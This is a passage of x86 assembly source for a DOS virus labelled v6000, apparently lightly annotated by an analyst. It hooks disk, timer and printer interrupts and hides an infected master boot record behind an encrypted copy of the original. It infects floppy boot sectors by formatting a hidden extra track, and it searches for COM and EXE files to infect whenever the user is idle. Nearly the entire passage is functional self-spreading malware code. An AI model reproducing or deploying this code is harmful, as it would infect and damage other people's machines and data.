int17:                
		mov     cs:inout_flag,1
		pushf   
		call    dword ptr cs:ofs_i17
		call    mark_activity
		iret    

check_boot_inf:
		push    cs
		pop     es
		push    cs
		pop     ds
		mov     si,3Eh
		add     si,bx
		mov     cx,offset(c_floppy)-offset(floppy_code)
		mov     di,offset(floppy_code)
		cld     
		rep     cmpsb
		ret     
		
install_from_boot:
		mov     al,13h
		call    get_int_vector          ; Get int 13h vector
		mov     [bp+ofs_i13],bx         ; Store it
		mov     [bp+seg_i13],es
		mov     [bp+use_ports],0
		call    check4ide
		cmp     al,66h                  ; Can use ports?
		jne     no_use_ports            ; No? then jmp
		mov     [bp+use_ports],1
no_use_ports:
		call    install_virus
		ret     

patch_i13:
		push    si
		push    di
		push    es
		push    ds
		push    cs
		pop     es
		lds     si,dword ptr es:ofs_i13
		push    si
		mov     di,offset(i13_5bytes)
		cld     
		movsw           ; Save five bytes
		movsw
		movsb
		pop     si
		cli     
		mov     byte ptr [si],0EAh     ; Insert a jmp far to cs:int_13
		mov     word ptr [si+1],offset(int_13)
		mov     [si+3],es
		sti     
		pop     ds
		pop     es
		pop     di
		pop     si
		ret     
		
int_13:                
		mov     cs:inout_flag,1
		call    enable_FD
		push    si
		push    di
		push    es
		push    ds
		mov     si,offset(i13_5bytes)
		push    cs
		pop     ds
		les     di,dword ptr cs:ofs_i13
		cld     
		movsw           ; Restore original 5 bytes of int 13h
		movsw
		movsb
		pop     ds
		pop     es
		pop     di
		pop     si
		cmp     dx,80h          ; 1st HD?
		jne     not_stealth     ; No? then jmp
		cmp     cx,1            ; Track 0, sector 1?
		jne     not_stealth     ; No? then jmp
		cmp     ah,2            ; Read sector?
		je      stealth_mbr_read ; Yes? then jmp
		cmp     ah,3            ; Write sector?
		je      stealth_mbr_write ; Yes? then jmp
not_stealth:
		test    dl,80h          ; Is a HD?
		jnz     call_i13        ; Yes? then jmp
		jmp     is_a_floppy

call_i13:
		pushf   
		call    dword ptr cs:ofs_i13_2
exit_i13:
		mov     cs:inout_flag,0
		call    disable_FD
		call    patch_i13       ; Patch int 13h again
		retf    2

stealth_mbr_read:
		push    ax
		push    bx
		push    cx
		push    dx
		push    es
		push    ax
		push    es
		push    bx
		mov     ah,8
		int     13h     ; Get current drive parameters 
		inc     ch      ; Inc cylinder
		dec     cl      ; Dec sector
		pop     bx
		pop     es
		pop     ax
		pushf   
		mov     dl,80h
		mov     ah,2
		int     13h     ; Read original MBR (encrypted)     
		mov     cx,512
		mov     al,cs:mask_orig_mbr
dec_mbr_rd:
		xor     es:[bx],al      ; Decrypt the original MBR
		inc     bx
		loop    dec_mbr_rd
exit_mbr_stealth:
		popf    
		pop     es
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		call    patch_i13
		retf    2

stealth_mbr_write:
		push    ax
		push    bx
		push    cx
		push    dx
		push    es
		push    es
		push    bx
		push    ax
		mov     cx,512
		mov     al,cs:mask_orig_mbr
enc_mbr_wr:
		xor     es:[bx],al      ; Encrypt the new MBR
		inc     bx
		loop    enc_mbr_wr
		pop     ax
		pop     bx
		pop     es
		push    ax
		push    es
		push    bx
		mov     ah,8
		int     13h     ; Get current drive parameters 
		inc     ch      ; Inc max. cylinder
		dec     cl      ; Dec max. sector
		pop     bx
		pop     es
		pop     ax
		mov     dl,80h
		mov     ah,3
		call    int13h  ; Write new original MBR (encripted)
		pushf   
		mov     cx,512
		mov     al,cs:mask_orig_mbr
dec_mbr_wr:
		xor     es:[bx],al      ; Decrypt MBR
		inc     bx
		loop    dec_mbr_wr
		jmp     exit_mbr_stealth

is_a_floppy:
		pushf   
		call    push_registers
		cmp     ah,2            ; Read sector?
		je      read_write      ; Yes? then jmp
		cmp     ah,3            ; Write sector?
		je      read_write      ; Yes? then jmp
		jmp     infect_boot

read_write:
		or      dh,dh           ; Track 0?
		jnz     infect_boot     ; No? then jmp
		cmp     cx,1            ; Sector 1, track 0? trying boot?
		jnz     infect_boot     ; No? then jmp
		push    cx
		push    dx
		push    ax
		push    es
		push    bx
		push    ax
		push    cs
		pop     es
		mov     si,3
read_boot_again:
		mov     ax,0201h
		mov     cx,1
		mov     dh,ch
		mov     bx,offset(sector)
		call    int13h                  ; Read boot
		dec     si
		jz      infect_boot_pops        ; 3 errors reading? then jmp
		jc      read_boot_again         ; error? then jmp
		call    check_boot_inf          ; Infected?
		jne     infect_boot_pops        ; No? then jmp
		add     bx,offset(vir_track)-offset(floppy_code)+3Eh
		nop                     ; !?     
		mov     ch,[bx]         ; Virus track
		pop     ax
		pop     bx
		pop     es
		mov     al,1
		mov     cl,0Dh
		call    int13h          ; Read/write original boot
		pop     ax
		dec     al
		pop     dx
		pop     cx
		inc     cl
		call    int13h          ; And the rest of sectors
		or      cs:flags,10h    ; Don't need to call int 13h
		jmp     infect_boot

infect_boot_pops:
		pop     ax
		pop     bx
		pop     es
		pop     ax
		pop     dx
		pop     cx
infect_boot:
		xor     ax,ax
		mov     ds,ax           ; DS:=0
		cmp     dl,3            ; diskette?
		jbe     test_motor      ; Yes? then jmp
		jmp     error_inf_boot

test_motor:
		mov     cl,dl
		mov     al,1
		shl     al,cl           ; Set bit of drive
		mov     cs:bit_drive,al
		test    ds:[43Fh],al    ; Diskette motor on?
		jnz     error_inf_boot  ; Yes? then jmp
		push    cs
		pop     ds
		push    ds
		pop     es
		mov     si,3
		mov     drive,dl
read_boot:
		xor     ax,ax
		call    int13h          ; Reset drive controller
		mov     ax,0201h
		mov     cx,1
		mov     dh,ch
		mov     bx,offset(sector)
		call    int13h          ; Read sector
		jnc     boot_loaded
		dec     si
		jz      error_inf_boot
		jmp     read_boot

boot_loaded:
		call    check_boot_inf          ; Already infected?
		jcxz    error_inf_boot          ; Yes? then jmp
		call    format_extra_track      ; And write code to disk
		jc      error_inf_boot
		push    cs
		pop     ds
		mov     vir_track,ch            ; Store new track                    
		mov     word ptr jmp_bootcode,3CEBh   ; Encode jmp floppy_code
		mov     byte ptr jmp_bootcode+2,90h
		mov     si,offset(floppy_code)
		mov     di,offset(sector)+3eh
		push    ds
		pop     es
		mov     cx,end_floppy_code-floppy_code
		cld     
		rep     movsb
		mov     ax,301h
		mov     bx,offset(sector)
		xor     dh,dh
		mov     cx,1
		call    int13h          ; Write new boot sector
error_inf_boot:
		call    pop_registers
		popf    
		test    cs:flags,10h    ; Need to call int 13h?
		jnz     no_call_i13     ; No? then jmp
		jmp     call_i13

no_call_i13:
		clc     
		mov     cs:flags,0      ; Clear all flags
		jmp     exit_i13

format_extra_track:
		mov     al,1Eh
		call    get_int_vector          ; Dir of diskette parameters
		cli     
		mov     word ptr es:[bx+3],0D02h        ; 2-> 512 bytes/sector
							; 0Dh-> last sector
		sti     
		mov     ax,totsecs
		or      ax,ax           ; Total sectors=0?
		jz      error_ft        ; Yes? then jmp
		mov     bx,trksecs      ; Sectors per track
		xor     bh,bh
		cmp     ax,bx           ; Total sectors<=Sectors per track?
		jle     error_ft        ; Yes? then jmp
		div     bl              ; Calculate number of tracks
		mov     bx,headcnt      ; Number of heads
		xor     bh,bh
		cmp     ax,bx           ; Number of tracks<=Number of heads?
		jle     error_ft        ; Yes? then jmp
		div     bl              ; Tracks per head
		mov     ah,1
		mov     cx,0Dh          ; 13 sectors
		mov     di,offset(format_table)
		push    di
		push    cs
		pop     es
make_table_sectors:
		mov     es:[di],al              ; Track
		mov     byte ptr es:[di+1],0    ; Head 0
		mov     es:[di+2],ah            ; Sector Number
		mov     byte ptr es:[di+3],2    ; Size (2-> 512)
		inc     ah                      ; Next sector
		add     di,4                    ; Next table entry
		loop    make_table_sectors
		mov     dl,cs:drive
		mov     ah,5
		pop     bx
		mov     ch,al
		mov     cl,1
		xor     dh,dh
		call    int13h          ; Format extra track
		jc      error_ft
		mov     ax,301h
		mov     bx,offset(sector)
		mov     cl,0Dh
		call    int13h          ; Store original boot
		jc      error_ft
		mov     ax,30Ch
		xor     bx,bx
		mov     cl,1
		call    int13h          ; Write code to disk
		ret     
error_ft:
		stc     
		ret     
		
floppy_code:
		cli     
		xor     ax,ax
		mov     ss,ax
		mov     sp,7C00h
		push    cs
		pop     ds
c_floppy:                
		mov     ch,50h          ; Virus track
vir_track       equ     byte ptr $-1
		xor     dx,dx
		push    cs
		pop     es
		mov     bx,7E00h
		mov     si,3
read_track:
		mov     ax,20Ch
		mov     cl,1
		int     13h             ; Read code (12 sectors)
		dec     si
		jz      read_exec_boot
		jc      read_track
		mov     bp,bx
		add     bx,offset(install_from_boot)
		push    dx
		push    cx
		call    bx      ; call install_from_boot (infect MBR)
		pop     cx
		pop     dx
read_exec_boot:
		push    ss
		pop     es
		mov     ax,201h
		mov     bx,7C00h
		mov     cl,0Dh
		pushf                   ; flags   
		push    ss              ; 0
		push    bx              ; 7C00h
		jmp     dword ptr es:[13h*4]    ; Read & exec original boot
end_floppy_code:

;---------------------------------------------------------
		jmp     dword ptr cs:ofs_i8     ; ?????
;---------------------------------------------------------

push_registers2:
		pop     cs:return_dir2
		push    ax
		push    bx
		push    cx
		push    dx
		push    es
		push    ds
		push    si
		push    di
		push    bp
		jmp     cs:return_dir2
pop_registers2:
		pop     cs:return_dir2
		pop     bp
		pop     di
		pop     si
		pop     ds
		pop     es
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		jmp     cs:return_dir2

int8:                
		pushf   
		call    dword ptr cs:ofs_i8
		or      cs:ticks_disableFD,0    ; Time to disable FD?
		jz      dis_fd                  ; Yes? then jmp
		dec     cs:ticks_disableFD
dis_fd:
		cmp     cs:ticks_disableFD,0    ; Time to disable FD?
		jnz     no_permission           ; No? then jmp
		test    cs:flags,2      ; Permission to disable floppy? 1=no
		jz      no_permission   ; BUG!? 
		call    disable_FD  ; call with bit1=1 -> doesn't disable FD!!
		and     cs:flags,11111101b
no_permission:
		call    push_registers2
		xor     ax,ax
		mov     ds,ax
		les     bx,ds:[33h*4]   ; Get mouse int
		push    cs
		pop     ds
		mov     cx,es
		or      cx,cx           ; Int segment=0?
		jz      mark_no_mouse   ; Yes? then jmp
		cmp     byte ptr es:[bx],0CFh   ; Int points to iret?
		je      mark_no_mouse           ; Yes? then jmp
		cmp     mouse_checked,1         ; Did I check the mouse?
		je      serial_mouse            ; Yes? then jmp
		mov     no_mouse,0
		xor     ch,ch
		mov     mouse_checked,1         ; Mark mouse checked
		mov     ax,24h
		int     33h     ; - MS MOUSE - Get soft version and type 
		cmp     ch,2            ; Serial mouse?    
		je      serial_mouse    ; Yes? then jmp
mark_no_mouse:
		mov     no_mouse,1      ; No serial mouse
serial_mouse:
		mov     cx,3
		xor     bx,bx
		xor     bp,bp
check_com:
		mov     dx,word ptr [bx+com_ports]
		inc     bx
		inc     bx
		or      dx,dx           ; Port installed?
		jz      check_game      ; No? then jmp
					; BUG!? We can have COM4 without COM3
		in      al,dx           ; Read byte from port
		call    waste_time
		cmp     al,byte ptr cs:[bp+data_com] ; Actual byte=Previous?
		mov     byte ptr cs:[bp+data_com],al ; Store actual byte
		je      next_port               ; Yes? then jmp
		call    mark_activity
		jmp     check_game
next_port:
		inc     bp
		loop    check_com       ; Check next COM
check_game:
		mov     dx,201h
		in      al,dx           ; Game I/O port
		call    waste_time
		cmp     al,data_game    ; Actual byte=Previous byte?
		je      check_keys      ; Yes? then jmp
		call    mark_activity
check_keys:
		mov     data_game,al    ; Store actual byte
		in      al,60h          ; AT Keyboard controller 8042.
		call    waste_time
		test    al,80h                  ; Key pressed?
		call    pop_registers2
		jnz     inc_tick_counter        ; Yes? then jmp
		call    mark_activity
inc_tick_counter:
		push    ds
		push    es
		push    bx
		push    cs
		pop     ds
		inc     tick_counter
		cmp     tick_counter,8*18       ; < tick_value secs inactive? 
tick_value      equ     word ptr $-2                
		jb      exit_i8                 ; Yes? then jmp
		cmp     into_i21,0              ; int 21h active?
		jnz     exit_i8                 ; Yes? then jmp
		cmp     inout_flag,0            ; Input/output activity?
		jnz     exit_i8                 ; Yes? then jmp
		les     bx,dword ptr ofs_flagdos
		cmp     byte ptr es:[bx],0      ; DOS inactive?
		jnz     exit_i8                 ; Yes? then jmp
		les     bx,dword ptr ofs_swpdos
		cmp     byte ptr es:[bx],0      ; DOS swapping?
		jnz     exit_i8                 ; Yes? then jmp
		mov     tick_counter,0          ; Reset counter
		call    search_files
		or      tick_value,0            ; Tick value=0?
		jz      exit_i8                 ; Yes? then jmp
		cmp     word ptr no_mouse,1  ; Mouse present but not checked?
		jz      exit_i8                 ; No? then jmp
		sub     tick_value,1*18         ; 1 second
exit_i8:
		pop     bx
		pop     es
		pop     ds
		iret    
search_files:                                        
		call    push_registers2
		mov     ah,2Fh
		call    int21h          ; Get DTA address in ES:BX
		mov     ax,cs
		mov     dx,es
		cmp     ax,dx           ; Virus already using DTA?
		jne     change_dta      ; No? then jmp
		jmp     exit_sf
change_dta:
		mov     ds:ofs_dta,bx
		mov     ds:seg_dta,es
		mov     ah,1Ah
		mov     dx,offset(dta)
		call    int21h          ; Set DTA
		cmp     fname_waiting,1 ; Has a file waiting to be infected?
		je      infect_via_i8   ; Yes? then jmp
		cmp     searching,1     ; Search in progress?
		je      find_next       ; Yes? then jmp
		mov     ah,4Eh          
		mov     cx,3Fh
		test    search_execom,1 ; Searching for COM?
		jnz     search_exe      ; Yes? then jmp      
		mov     dx,offset(m_com)
		jmp     find_first

search_exe:
		mov     dx,offset(m_exe)
find_first:
		call    int21h          ; Find first file
		jc      change_ftype
		mov     searching,1     ; Mark searching files
		mov     dx,dta_date     ; Get file date
		rcr     dh,1
		cmp     dh,100                  ; Infected?
		jb      convert_relative        ; No? then jmp
find_next:                
		mov     ah,4Fh
		call    int21h          ; Find next
		jc      change_ftype
		mov     dx,dta_date
		rcr     dh,1
		cmp     dh,100          ; Infected?
		jnb     find_next       ; Yes? then jmp
		jmp     convert_relative

change_ftype:
		dec     search_execom   ; Next type
		mov     searching,0     ; Next time do a find-first
		jmp     restore_dta

infect_via_i8:
		mov     dx,offset(file_name)
		call    try_to_infect_file
		mov     fname_waiting,0 ; Next time do a search
		jmp     restore_dta

convert_relative:
		mov     si,offset(dta_fname)
		mov     di,offset(file_name)
		push    cs
		pop     es
		mov     ah,60h
		call    int21h          ; Convert relative path to full path
		mov     fname_waiting,1 ; Next time do an infection
		jmp     restore_dta     ; Very stupid jmp!!!!

restore_dta:
		mov     ah,1Ah
		mov     ds,cs:seg_dta
		mov     dx,cs:ofs_dta
		call    int21h          ; Restore DTA
exit_sf:                
		call    pop_registers2
		ret

decrypt_bytes:
		mov     al,code_mask
		cmp     crypt_method,0          ; XOR encryption?
		je      dec_xor                 ; Yes? then jmp
		cmp     crypt_method,1          ; NOT encryption?
		je      dec_not                 ; Yes? then jmp
		cmp     crypt_method,2          ; ROR encryption
		je      dec_rol                 ; Yes? then jmp
		cmp     crypt_method,3          ; DEC encryption?
		je      dec_inc                 ; Yes? then jmp
dec_xor:                
		xor     [si],al
		inc     si
		loop    dec_xor
		ret
dec_not:                
		not     byte ptr [si]
		inc     si
		loop    dec_not
		ret
dec_rol:                
		rol     byte ptr [si],1
		inc     si
		loop    dec_rol
		ret
dec_inc:                
		inc     byte ptr [si]
		inc     si
		loop    dec_inc
		ret


disinfect_exe:
		push    cs
		pop     ds
		call    read_header
		mov     ofs_virus,length_virus-offset(header)
		call    lseek           ; Lseek to length(file)-1Ch
		mov     ah,3Fh
		mov     cx,1Ch
		mov     dx,offset(header)
		call    int21h          ; Read stored header (encrypted)
		mov     si,dx
		push    si
		call    decrypt_bytes   ; Decrypt header
		mov     ax,4200h
		xor     cx,cx
		xor     dx,dx
		call    int21h          ; Lseek start
		pop     dx
		mov     ah,40h
		mov     cx,1Ch
		call    int21h          ; Write original header
		call    truncate_file   ; and truncate file to original length
		ret     

get_int_vector:                 ; Input: al:=int.number
		push    ds
		push    si
		xor     ah,ah
		mov     si,4
		mul     si
		mov     si,ax
		xor     ax,ax
		mov     ds,ax           ; ds:=0
		les     bx,[si]         ; get int vector in es:bx
		pop     si
		pop     ds
		ret     

m_com           db '*.COM',0
m_exe           db '*.EXE',0
		
header:
signature       dw      20CDh
partpag         dw      0
pagecnt         dw      0
relocnt         dw      0
hdrsize         dw      0
minmem          dw      0
maxmem          dw      0
reloss          dw      0
relosp          dw      0
chksum          dw      0
exeip           dw      0
relocs          dw      0
tabloff         dw      0
ovr             dw      0

length_virus:    

buffer:
ofs_1c          dw      ?
seg_1c          dw      ?       

_header:
_signature      dw      ?
_partpag        dw      ?
_pagecnt        dw      ?
_relocnt        dw      ?
_hdrsize        dw      ?
_minmem         dw      ?
_maxmem         dw      ?
_reloss         dw      ?
_relosp         dw      ?
_chksum         dw      ?
_exeip          dw      ?
_relocs         dw      ?
_tabloff        dw      ?
_ovr            dw      ?

stored_psp      dw      ?
clusters_avail  dw      ?
stored_drive    db      ?
loading_dos     db      ?
xchg1           equ     byte ptr $
tunnel_ok       equ     byte ptr $
seg_fname       dw      ?
xchg2           equ     byte ptr $+1
ofs_fname       dw      ?
		db      ?,?

_3bytes         db      ?,?,?
		db      ?
seg_psp         dw      ?
ofs_i21         dw      ?
seg_i21         dw      ?
ofs_i13         dw      ?
seg_i13         dw      ?
flags           db      ?
ticks_disableFD dw      ?
ofs_i13_2       dw      ?
seg_i13_2       dw      ?
ofs_i24         dw      ?
seg_i24         dw      ?
ofs_i1b         dw      ?
seg_i1b         dw      ?
ofs_i23         dw      ?
seg_i23         dw      ?
ofs_i8          dw      ?
seg_i8          dw      ?
ofs_i25         dw      ?
seg_i25         dw      ?
ofs_i26         dw      ?
seg_i26         dw      ?
ofs_i17         dw      ?
seg_i17         dw      ?
length_lo       dw      ?
length_hi       dw      ?
f_date          dw      ?
emul_pushf      equ     word ptr $
f_time          dw      ?
attribs         dw      ?
boot_i21        dw      ?
filename        equ     word ptr $
ep_ip           dw      ?       ; Also filename
ep_cs           dw      ?       ; 8bytes+'.'+3bytes+0
		db      ?
		db      ?
		db      ?
		db      ?
point           db      ?       ; '.'
filename_ext    equ     word ptr $      ; 3bytes
seg_stop        dw      ?       
		db      ?
		db      ?
code_mask       db      ?
ofs_dta         dw      ?
seg_dta         dw      ?
dta:
		db      15h dup(?)
dta_attr        db      ?
dta_time        dw      ?
dta_date        dw      ?
dta_sizel       dw      ?
dta_sizeh       dw      ?
dta_fname       db      0dh dup(?)
inout_flag      db      ?
tick_counter    dw      ?
into_i21        db      ?
fname_waiting   db      ?
search_execom   db      ?
searching       db      ?
no_mouse        db      ?
mouse_checked   db      ?
drive           equ     byte ptr $
use_ports       db      ?
bit_drive       db      ?
data_com:       db      ?       ; COM1
		db      ?       ; COM2
		db      ?       ; COM3
		db      ?       ; COM4
com_ports:      dw      ?       ; Address of COM1
		dw      ?       ; COM2
		dw      ?       ; COM3
		dw      ?       ; COM4
data_game       db      ?
file_name       db      67 dup(?)
return_dir      dw      ?
return_dir2     dw      ?
activity_checks db      ?
ofs_sft         dw      ?
ofs_flagdos     dw      ?
seg_flagdos     dw      ?
ofs_swpdos      dw      ?
seg_swpdos      dw      ?
crypt_method    db      ?
jmp_virus       db      ?
ofs_virus       dw      ?
i13_5bytes      db      5 dup(?)

end_virdata     equ     word ptr $

sector:
jmp_bootcode    db      3 dup(?)
		db      8 dup(?)
sectsize        dw      ?
clustsize       db      ?
ressecs         dw      ?
fatcnt          db      ?
rootsize        dw      ?
totsecs         dw      ?
media           db      ?
fatsize         dw      ?
trksecs         dw      ?
headcnt         dw      ?
hidnsec         dw      ?
		db      (512-($-offset(sector))) dup(?)

format_table    equ     $
vstack          equ     $-70h
s_mbr           equ     $-70h+1
buffer_enc      equ     $+34h

org    $+34h
		db      512 dup(?)
vir_end         equ     $

v6000           ends
		end    start

